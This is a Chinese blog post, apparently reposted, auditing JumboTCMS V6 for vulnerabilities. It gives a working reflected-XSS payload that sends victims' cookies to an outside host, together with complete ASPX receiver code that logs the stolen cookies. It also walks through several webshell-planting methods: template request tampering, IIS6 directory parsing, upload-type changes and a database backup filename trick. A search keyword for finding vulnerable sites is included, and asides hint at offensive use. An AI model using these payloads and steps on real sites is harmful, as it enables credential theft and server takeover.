网站地图    收藏   

主页 > 后端 > 网站安全 >

将博CMS(JumboTCMS)_V6代码审计总结 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] Author:鄙人学的软件测试专业,最近学校准备上这方面的课程了,于是想先找套ASP.NET开源CMS玩玩,百度了下,看到了将博CMS,人气还挺高的,跑到官网下载了6.0最新版的,NND,安装都安...

Author: 鄙人学的软件测试专业,最近学校准备上这方面的课程了,于是想先找套ASP.NET开源CMS玩玩,百度了下,看到了将博CMS,人气还挺高的,跑到官网下载了6.0最新版的,NND,安装都安装不了,反正哪都报错…真搞不懂官方是不是故意的…于是花了两天时间把程序调试好,终于能跑起来了…跑起来数据库数据都是手工插进去的…坑爹啊…程序功能看不到,只能看代码慢的很,很多东西也不好看…算了,勉强看吧…俺也是第一次接触这套程序。

本来想找着什么注入csrf什么的,代码看了一遍,没找着什么可以利用的,个人技术问题吧。

一、安装完没提示或自动删除安装文件

安装完成后未提示或自动删除install目录文件,

直接访问http://seay.sinaapp.com/install/default.aspx可直接重新安装程序,

 

二、Cookie保存用户名密码

Cookie东西有点多,

 \

id=2&name=ss123&nickname=ss123&password=e10adc3949ba59abbe56e057f20f883e&email=1160549384%40qq.com&groupid=1&groupname=%e4%b8%b4%e6%97%b6%e7%94%a8%e6%88%b7&setting=1%2c1%2c1%2c0%7c23%2c1%2c10%2c10%2c1%2c0%2c1%2c1%2c5%2c1%2c1%2c5%2c1%2c1%2c5%2c&cookies=c42071141

 

密码都保存在里面了,配合下面的XSS

 

三、统计插件XSS漏洞

先看代码:

 \

string _channeltype = q(“cType”);

取到值,之后赋给_viewnum;最后转成javascript输出…直接XSS,

验证

http://seay.sinaapp.com//plus/viewcount.aspx?ccid=13&cType=article<script>alert(/1/)</script)

取cookie

http://seay.sinaapp.com/plus/viewcount.aspx?ccid=13&cType=article<script>document.location=’  http://seay.sinaapp.com/1.aspx?id=’+document.cookie</script>

 

顺便写了个aspx接收cookice值的

<%@ Page Language=”C#” AutoEventWireup=”true” %>

<head id=”Head1″ runat=”server”>

    <%@import Namespace=”System.IO”%>

    <script language=”C#” runat=”server”>

        protected void Page_Load(object sender, EventArgs e)

        {

            string str = Request["id"];

            str = System.Web.HttpUtility.UrlDecode(str);

            StreamWriter sw = null;

            string path = Server.MapPath(“~/”)+ “seay.txt”;

            sw = new StreamWriter(path,true,new UTF8Encoding());

            sw.Write(“————Cookie值:” +str+”————\n\b”);

            sw.Close();

            Response.Redirect(“http://www.baidu.com/”);

        }

     </script>

</head>

保存为aspx就行了,拿到密码可以去解密,之后你们懂的,

 

 

后台GetShell方法:

四、编辑模板抓包改包生成shell;

我们进入后台后,可以看到前台更新这,

 \

我们选择公用头部文件—编辑模版,

 \

文件名是从数据库读取的ID,所以就避免了任意文件读取漏洞,

把模板内容修改为我们准备好的一句话(记得先备份原模版,记得改回来),用live http header插件抓包,修改提交地址里面的header.htm为header.aspx,之后Replay提交,就会在

http://www.2cto.com /templates/default/include/目录下生成header.aspx,shell地址http://seay.sinaapp.com/templates/default/include/header.aspx

 

 \

五、创建目录未过滤;

先看源码

 \

Directory.Exists()这里是检查文件夹是否存在,再往下看

 \

没过滤,直接就生成了,测试下,

后台—系统管理—频道管理。我们现在添加频道,上个图

 \

对于IIS6.0,创建目录未过滤目录名称,我们把频道实际目录写seay.aspx之类的,利用IIS解析getshell。你们懂得。

好了,现在我们生成目录,就在根目录有了一个a.aspx的目录

 \

六、上传文件类型修改;

再看下面,在添加频道和内容模型两个地方,可以修改允许上传的类型。

\

 

\

直接写aspx之类的上传类型就可以了… 

 

七、蛋疼备份数据库自定义文件名;

还是先看源码:

\

 这是MSSQL的,

 很明显过滤了’号和;分号,看来程序员知道IIS的解析,

 \

但是看下ACCESS的

 \

就没过滤了…不知道怎么想的

我们在留言什么的能写东西的地方写个一句话,

再切换到 系统管理—数据库维护,直接修改备份的文件名为seay.aspx;.bak如果名字不是bak扩展名,它会自动加.bak,备份路径_data\databackup\seay.aspx;.bak

 

八、在线执行SQL

系统管理下,我们可以看到有一个“在线执行SQL”,没有过滤SQL命令,

如过权限不错的话,可以用来提权哦。

\

算了…就写到这儿了。蛋疼的很…安装不了很多东西都没法去上图验证…

关键字:Powered by JumbotCms

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论